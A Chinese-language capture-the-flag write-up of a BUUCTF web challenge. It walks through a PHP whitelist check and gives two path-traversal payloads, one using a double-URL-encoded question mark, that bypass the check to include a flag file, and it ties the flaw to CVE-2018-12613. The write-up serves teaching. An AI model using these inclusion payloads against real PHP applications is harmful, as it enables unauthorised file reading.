buuctf靶场:https://buuoj.cn/
打开题目,发现一张大脸
查看页面源代码,发现一个注释
访问source.php
,可以看到以下源代码,并进行分析:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//$whitelist数组存入两个变量
if (! isset($page) || !is_string($page)) {
//判断是否存在且是否为字符串类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
//判断与$whitelist是否匹配,不过很显然,我们不能在这里return,应为我们要的flag不在这两个文件中,当然,在这里还是能进行绕过的,下面会详细讲解
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page. '?', '?')//查找?出现在字符串中首次出现的位置
);
//截取字符串开始到?的位置,赋值到$_page变量中
//很显然,这里就可以绕过获取flag了
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//以上条件不成立,先进行一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//解码后重新再截取字符串开始到?的位置,赋值到$_page变量中
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//判断是否存在file变量
&& is_string($_REQUEST['file'])//判断file是否为字符串
&& emmm::checkFile($_REQUEST['file'])//将file变量带入emmm类里的checkFile执行
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
包含hint.php时给出提示,flag在ffffllllaaaagggg
文件中
分析以上代码,发现有两种解法
1.在第一个mb_substr进行校验时,就可以绕过获取flag了,我们只需要在source.php后面添加一个?
,然后将截取的字符串赋值到$_page进行校验,然后利用…/退回上级目录包含flag。
payload:
source.php?file=source.php?/../../../../ffffllllaaaagggg
2.在第二个mb_substr中也能进行绕过
payload:
/source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
- %25为百分号
%
,%3f
url解码为问号?
- 浏览器会替我们进行一次url解码,将%25解码为
%
。 - 再带入php代码中执行,会有一次urldecode,将%3f解码为问号
?
该题与CVE-2018-12613
漏洞类似